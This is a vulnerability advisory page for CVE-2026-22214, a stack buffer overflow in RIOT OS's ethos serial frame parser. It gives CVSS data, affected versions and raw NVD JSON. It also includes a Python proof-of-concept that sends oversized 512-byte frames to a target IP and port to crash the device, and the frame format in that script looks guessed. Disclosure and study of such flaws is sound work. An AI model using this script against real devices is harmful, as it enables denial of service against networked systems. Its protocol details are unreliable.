Security Vulnerability Report
中文
CVE-2026-22214 CVSS 9.8 CRITICAL

CVE-2026-22214

Published: 2026-01-12 23:15:52
Last Modified: 2026-01-21 17:43:52

Description

RIOT OS versions up to and including 2026.01-devel-317 contain a stack-based buffer overflow vulnerability in the ethos utility due to missing bounds checking when processing incoming serial frame data. The vulnerability occurs in the _handle_char() function, where incoming frame bytes are appended to a fixed-size stack buffer without verifying that the current write index remains within bounds. An attacker capable of sending crafted serial or TCP-framed input can cause the current write index to exceed the buffer size, resulting in a write past the end of the stack buffer. This condition leads to memory corruption and application crash.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:riot-os:riot:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:riot-os:riot:2026.01:devel:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:riot-os:riot:2026.01:rc1:*:*:*:*:*:* - VULNERABLE
RIOT OS <= 2026.01-devel-317

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-22214: RIOT OS ethos stack-based buffer overflow This PoC demonstrates sending a crafted serial frame that exceeds buffer bounds. """ import socket import struct import time def send_crafted_frame(target_ip, target_port): """ Send a crafted frame to trigger buffer overflow in ethos _handle_char() Args: target_ip: Target RIOT OS device IP target_port: Target ethos port (typically 20000) """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) # Frame header for ethos protocol # Start delimiter frame = bytes([0x02]) # Craft payload that exceeds buffer size # Typical buffer size in ethos is around 128-256 bytes # We send significantly more to trigger overflow buffer_size = 128 overflow_size = 512 # Send 512 bytes to overflow # Frame type: data packet frame += bytes([0x00]) # Length field (big-endian) frame += struct.pack('>H', overflow_size) # Payload: send more data than buffer can hold # This will cause write past end of stack buffer frame += b'A' * overflow_size # End delimiter frame += bytes([0x03]) print(f"[*] Sending crafted frame ({len(frame)} bytes) to {target_ip}:{target_port}") print(f"[*] Buffer size: {buffer_size}, Overflow size: {overflow_size}") sock.sendto(frame, (target_ip, target_port)) print("[+] Frame sent successfully") print("[+] If vulnerable, the application may crash or allow code execution") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False def send_tcp_crafted_frame(target_ip, target_port): """ Alternative: Send crafted frame via TCP encapsulation Some ethos configurations support TCP-framed input """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Crafted frame similar to UDP version frame = bytes([0x02, 0x00]) overflow_size = 512 frame += struct.pack('>H', overflow_size) frame += b'\x41' * overflow_size # 'A' * 512 frame += bytes([0x03]) print(f"[*] Sending TCP crafted frame to {target_ip}:{target_port}") sock.send(frame) print("[+] TCP frame sent") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": import sys if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_ip> <port>") print(f"Example: {sys.argv[0]} 192.168.1.100 20000") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) # Try UDP first (default ethos protocol) send_crafted_frame(target_ip, target_port) # Optionally try TCP # send_tcp_crafted_frame(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22214", "sourceIdentifier": "[email protected]", "published": "2026-01-12T23:15:52.453", "lastModified": "2026-01-21T17:43:51.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RIOT OS versions up to and including 2026.01-devel-317 contain a stack-based buffer overflow vulnerability in the ethos utility due to missing bounds checking when processing incoming serial frame data. The vulnerability occurs in the _handle_char() function, where incoming frame bytes are appended to a fixed-size stack buffer without verifying that the current write index remains within bounds. An attacker capable of sending crafted serial or TCP-framed input can cause the current write index to exceed the buffer size, resulting in a write past the end of the stack buffer. This condition leads to memory corruption and application crash."}, {"lang": "es", "value": "Las versiones de RIOT OS hasta e incluyendo 2026.01-devel-317 contienen una vulnerabilidad de desbordamiento de búfer basado en pila en la utilidad ethos debido a la falta de verificación de límites al procesar datos de trama serie entrantes. La vulnerabilidad ocurre en la función _handle_char(), donde los bytes de trama entrantes se añaden a un búfer de pila de tamaño fijo sin verificar que el índice de escritura actual permanezca dentro de los límites. Un atacante capaz de enviar entrada serie o enmarcada en TCP manipulada puede hacer que el índice de escritura actual exceda el tamaño del búfer, lo que resulta en una escritura más allá del final del búfer de pila. Esta condición lleva a corrupción de memoria y a un fallo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.10", "matchCriteriaId": "3EE45C18-0705-45D6-9363-63017333DFF1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:2026.01:devel:*:*:*:*:*:*", "matchCriteriaId": "51045419-7276-4017-8857-04DDBF865A1F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:riot-os:riot:2026.01:rc1:*:*:*:*:*:*", "matchCriteriaId": "D10D5F2C-4666-4D21-AED8-BE67DF223745"}]}]}], "references": [{"url": "https://github.com/RIOT-OS/RIOT", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://seclists.org/fulldisclosure/2026/Jan/16", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.riot-os.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/riot-os-stack-based-buffer-overflow-in-ethos-serial-frame-parser", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}